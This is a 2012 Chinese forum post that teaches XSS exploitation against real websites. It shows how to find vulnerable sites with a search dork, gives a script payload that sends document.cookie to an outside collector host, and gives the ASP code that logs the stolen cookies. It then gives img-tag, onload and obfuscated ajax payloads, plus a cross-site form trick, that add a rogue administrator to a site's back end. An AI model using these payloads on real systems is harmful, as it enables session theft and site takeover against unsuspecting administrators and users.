找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1833|回复: 0
打印 上一主题 下一主题

实战xss漏洞利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:08:58 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
前天贴吧一位朋友发了个后台XSS利用的帖子,大家就一起讨论了讨论,原帖为:
4 \' }: t1 T/ y4 U/ u5 D2 N/ L# j% t. y6 a* \
http://tieba.baidu.com/f?kz=1069007239
0 M9 P0 F1 w9 z' F  k
# o6 A! S( x0 o# y' R这个帖子说的只是一个思路,不是很详细,并且说的是利用后台XSS挂马的情况,但是其实在后台挂马一般是不会牵扯到XSS的,只是一个过滤不过滤转换不转换的问题,比如很多带编辑器的后台,都是不过滤不转换在文章中的html代码的,比如eweb,你可以直接编辑发表文章的时候的html代码,这就为挂马、盗cookie提供了很多机会。
$ G# N+ h" p# _) A* K' u$ y" G  M, p8 a# @" }
但是,我想说的是,即使是挂马、盗cookie,也是不会使用location这种手法的,因为这样太明显了,一般都是使用普通挂马的手法的,比如iframe、JS等等。
) U7 j4 M! V0 @! E: i0 i0 t8 [' y, g7 D
我在上边的帖子中说作者讲的不是很详细,希望出一个详细点的利用教程,于是今天又一位朋友就发了一个详细些的文章,我这里就发大博客里,让更多需要的朋友看到这篇文章。
& I* k" Z' r3 Q" U7 H, Q) i8 R+ q- y9 n, q
这个文章是对XSS的一个很简单的利用,原理很简单,主要用于科普,只是想让朋友们知道,XSS并不是简单的弹个框框玩那么简单的,是有很多利用价值的,在国外,XSS已经被列为网站杀手之一,包括国内的很多大站,大家都把心思放到了防范SQL注入上,相应的对XSS的防范就很少,这也是XSS总是能成功的原因之一。
/ s( r1 b: D: @; K  {7 H: _* H" O; e+ x- [4 ?
好了,废话不多说了,一起来看文章吧。
% r5 u# u/ Q! {4 J+ o4 U7 o; k. l7 z$ T" g* p
-------------------------------------------------------------------
; L( K- v4 H$ c& C% h# N2 _3 I/ ]* S/ z6 l1 P
首先要找到一个有XXS的站,这里就不整什么大站了,谷歌一下inurl:'Product.asp?BigClassName',搜出来的命中率也比较高。随便找一个,先<script>alert('xxs')</script>一下。呵呵,框框出来了。
6 u/ Q3 x3 X( @7 u, E) E
# T- H3 a/ t6 l+ j* x* Y
/ f" i  C# z7 h1 w1 ]" r3 B& t1 m1 j6 v0 y
再看看自己的Cookie吧,把alert里面的内容换成document.cookie就可以了,如图:
! e7 E. [" ^4 k' ^- d3 c- `6 L& G5 a  R" H

. S6 j# Q* n7 q: H) k$ U0 e& Y
, p6 b2 T. Y# ]1 k2 U8 E1 C' ]5 j这里就是要把弹出来框框里的东西收集到我们的记事本里。这里,要玩这个步骤就需要一个你自己的站点,具体思路就是$ w; X% k) x1 I. o0 x- Y
1:让目标访问已跨站的网址,然后这个网址执行脚本0 b3 E7 V! F+ Y; z& s
2:然后跳转到你已经写好专门用来收集Cookie的网址6 X0 y$ s9 k; j' n; g6 a

" R4 |. Y9 U' y( f7 U  j9 @具体实现方法:# c" c7 ?& J3 S3 L5 R# }7 o; r
先构造语句<script>window.open('http://dlgyi.rrvv.net/cookie.asp?msg='+document.cookie)</script>. {4 G1 P" y1 X* x2 {( ?+ m
这句话意思是打开一个新的窗口,访问http://dlgyi.rrvv.net/cookie.asp这个网址,并且通过msg传递一个变量,这里的变量就是我们要收集的cookie了。0 H/ T1 B) A- n6 o* m" F4 N! u

) _8 x4 F. S. ~) h) o这里需要自己写一个页面,也就是收集对方发过来cookie的页面,代码是这样的:  B! \" Z- ^( O' x& h' F$ D

" L# Y7 h# S/ R) D( y2 Y2 v  k8 _<html># G& `+ o$ G1 a% Y7 B7 `
<title>xx</title>& g: s; Y) A4 l6 R1 w& x
<body>
3 e9 w+ m1 y! _0 A7 a$ }. R5 T<%) {* O# }! x0 j: l1 c7 W
testfile = Server.MapPath("code.txt") //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中/ i5 Z4 h, j3 u5 E
msg = Request("msg")   //获取提交过来的msg变量,也就是cookie值
, ]! x. h4 ]; D7 a# d  dset fs = server.CreateObject("scripting.filesystemobject")创建一个fs对象4 y3 |5 V7 t# h' ~/ \& S
set thisfile = fs.OpenTextFile(testfile,8,True,0)
" s7 J* G/ p' L5 u4 Jthisfile.WriteLine(""&msg&"")//像code.txt中写入获取来的cookie
$ b& i3 O* s( Ithisfile.close   //关闭
  i! B- d9 E; @  i( _set fs = nothing; M9 G5 Z" D+ m7 @% i8 h
%>
5 }5 `' i: M5 Y$ {. {6 ]9 d) z' X) W! f" j# |</body>
6 m0 T, c! s" l/ v% y2 r1 b4 U% |</html>& @1 ^+ G9 E; g
: a7 k3 d5 m. w. a6 t. y
然后保存,放在你自己服务器上,如果有人点击构造好的XXS页面,就会自动在你网站的根目录生成一个文本:
0 ^: m% j# ^0 r8 v, e' b* N$ k) X, i7 B! \8 R# t

2 a6 @& x" n% d% s ( O. c/ y: G" E, b# u
6 @  z' G0 Z3 f* k8 U; L
拿出来看看,呵呵,Cookie到手:) s- c0 m" j/ W9 f
+ z+ p. g/ Y, T1 c3 s
0 T! [: O9 C9 ~/ |( t% ^
) _# P8 a7 L2 s4 I1 y, T
本文只是抛砖引玉,而且没有多大的实战价值,一来很多网站都过滤掉了+号这个字符连接符,二来稍大点的站,也不会存在如此的XXS,本文旨在给新手一个练习的向导,毕竟不可能谁一开始学习就可以RI掉大站,从小站开始练手,一起进步。话说咱也是新手O(∩_∩)O~; h. j$ G) j1 P( M. j
& g- Q5 w8 ^7 ?- m+ E) ?
PS:一点小提示,如果提交<script>alert('xxs')</script>网站没有反应时,不要立刻就点X。你可以鼠标右击,查看一下网站的源码,看看网站到底过滤掉了什么字符,通过编码啊神马的发挥下智慧,绕过过滤。只要出现小框框,咱就胜利了。; b# x. h: [* }- V$ z' \- e; ?( u* |
  C6 a, p, n; x
-------------------------------------------------------------------* }$ ~9 j+ ?$ }1 H1 q, B
5 P9 y5 e* O: P( @  d; A
下面是我对这个帖子的回复,也一起贴过来吧:% N+ ^# O' X$ ~% ~, d

$ r' J# t6 Z* H# O6 Z说实话,像这种后台XSS其实作用不大的,一般的小站你拿到cookie也没什么利用价值,大点的站的话,或许可以用cookie盗点装备什么的,但那牵扯的多了,不过对于普通脚本小子来说,日站的时候除非毫无办法了还会想到XSS的,不过日站时候的XSS利用方法跟这篇文章里讲的差不多的,可以借鉴一下。
- M+ P9 b; d: x- Y* @3 s3 ^3 b' u! Q8 J6 o
但是,这里的文章讲的是针对已经进入后台、拿shell无望又想多获得点东西的情况,说它鸡肋的原因是,你知道的,现在大部分站都是cookie+session的,并且一般用户名和密码不会直接放到cookie里了,这是它鸡肋的原因。2 R  o, s. h' ?* {) r# z
再者,日站的时候盗cookie一般是想进后台,但是如果遇到网上有源码的情况的话,还可以进一步利用,比如添加个管理员什么的。0 D" M/ k6 q. d/ h

! d6 w( O+ F. F# W  b6 k在文章的最后,顺便贴上一般XSS的利用思路,也不是原创,原文链接:0 T' j1 j0 y6 J( _

+ [! T: o! t4 u* x  M, thttp://user.qzone.qq.com/673116767/blog/1252452536
$ Y* H8 o  I1 f/ [. r+ {: X) {. H, J; [: p
一般发现一个xss漏洞后要做的基本上就是这些:
" ?9 ~2 u( y/ t+ {- j5 L) R6 i* R, O8 K+ `$ K' G7 v
1.  伪造请求  使用$_REQUEST或$_GET  Q3 }* A8 r1 @# G: W

: Q+ C# p2 p4 r: ^0 ~# Q首先我们要找找该网站使用的程序是不是在网上能找到源码,如果能找到源码的话,就去分析后台管理员更改密码或者增加管理员的页面,然后分析管理员使用的是不是$_REQUEST接收参数,如果是的话,我们使用该XSS漏洞构造一个请求,比如前台发表留言中可以使用HTML代码,那么我们就嵌入一个IMG元素:* I6 ^9 G$ i# X- F' T$ V
<img src="/admin/admin_add.asp?name=xxx&psd=yyy" />' ]6 h; }& {3 Y" x, [8 M
当管理员登录管理后台后看到包含img的页面的时候,就伪造了一个增加后台管理员的请求,而该请求是由管理员发出的,所以顺利的增加了一个新的管理员。
* d/ R! @' q# K4 }
' F" w& M: |. V! w! u如果是可视文本编辑器,可以尝试使用输入:
: u8 J+ ?' ?% u2 z2 S# j/ Z, o! Jhttp://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy')
" `. ^* u+ Y6 V. l这样最终会构造出:
7 [' j0 y9 W# ]9 G<img src="http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy',0,0)" />
+ C& y$ R9 [2 ^1 V& e" t总之要举一反三。
1 [' V+ T) X% I6 D4 E9 Z1 v: P3 h3 k$ t0 O
2. 伪造请求  使用$_POST
2 N5 q$ S8 L6 x1 t# Y' d* R4 v0 M% g6 y1 }
当后台接收增加管理员或更改管理密码的变量时使用的是$_POST方式,那么第一种方法无效,我们视情况而定,如果没有过滤<script>,我们可以通过ajax方式来伪造请求,如:7 d) o  D5 g( @& w6 {
<sc/*xss*/ript type="text/javascript">4 o& A6 {' v! y* A: O  K
var aj = new ActiveXObject("MSXML2.XMLHTTP.3.0");
0 u& R4 N/ g- D& |5 p, Aaj.open("POST", "/admin/admin_add.asp", false);/ ?; _" R3 q$ M9 t( P
var postdata = 'name=xxx&psd=yyy';/ b. l+ o: g" l. E# I5 b8 u
aj.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
/ O' i4 i6 I2 j! jaj.send(postdata);
4 n- p- R9 G3 }</scr/*xss*/ipt>. G4 T, _# A6 l1 r, {
/*xss*/是HTML注释,用来绕过简单的对script代码块的过滤。: g! p4 w" b4 u( Y8 A, q& W
, E$ a; `+ k! S. r+ z/ Y
3. 跨站伪造请求 使用$_GET 或 $_REQUEST5 u: v$ e* `3 R% p0 Y* P
6 d4 R) f2 o  F9 C8 S  |
与第一种伪造请求的方式相似,但是第一种伪造请求是利用站内的xss漏洞进行的,而跨站伪造请求,是站外发起的,比如我在我的博客的首页放了这样一个图片
; ^/ K# ?* k) P! ~4 H" r0 V: @<img src="http://www.drvfan.com/admin/admin_add.asp?user=xxx&psd=yyy"/>
  j# q; c7 [1 w2 m然后我跑到dvbbs上发帖子,“勾引”动网论坛的管理员来我的博客,如果动网论坛的管理员已经登录了他的管理后台,然后使用共享进程的浏览器(目前基于ie内核的myie,maxton等等还有firefox都是共享进程的)来访问我的博客,那么他的后台就会被加入一个用户。
" ~- L  q* F  a7 r8 H
3 b3 j) R! Y, H! I* m4.跨站伪造请求 使用$_POST(0day)% t6 z8 w9 h+ U% x$ W+ ]& ]; l
3 X) }$ b+ r% d- S& F0 g
如果入侵目标的管理后台使用的是$_POST方式来接受变量,那么我们无法在我们的网站跨站使用ajax的post方式提交数据过去,因为ajax是无法跨域的。
3 p$ G9 M# g) a: V. w/ m2 T9 u, k; q( G
但是我们可以在我们的网站放一个form,里面填写好数据,form的action为要利用的有漏洞的页面,然后当有人打开该页面的时候,我们就用js控制该form进行submit,ajax虽然不能跨域,但向域之外的地址提交form总是可以的。7 h4 ?2 Q  y' h7 }& d
: O; I! `' H/ ?* H0 A
总之,第3,4种方法成功几率要小一些,因为我们要想办法让已经登录自身后台的管理员,使用共享session的浏览器访问我们的伪造请求的页面,有一点社会工程学的技术含量。
( P/ B1 S) p- u+ C4 x
, g. b& T9 N0 q  n: i0 o4 XOK,该说的都说完了,Over。1 U% h7 x, {. ?+ s6 R: J
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表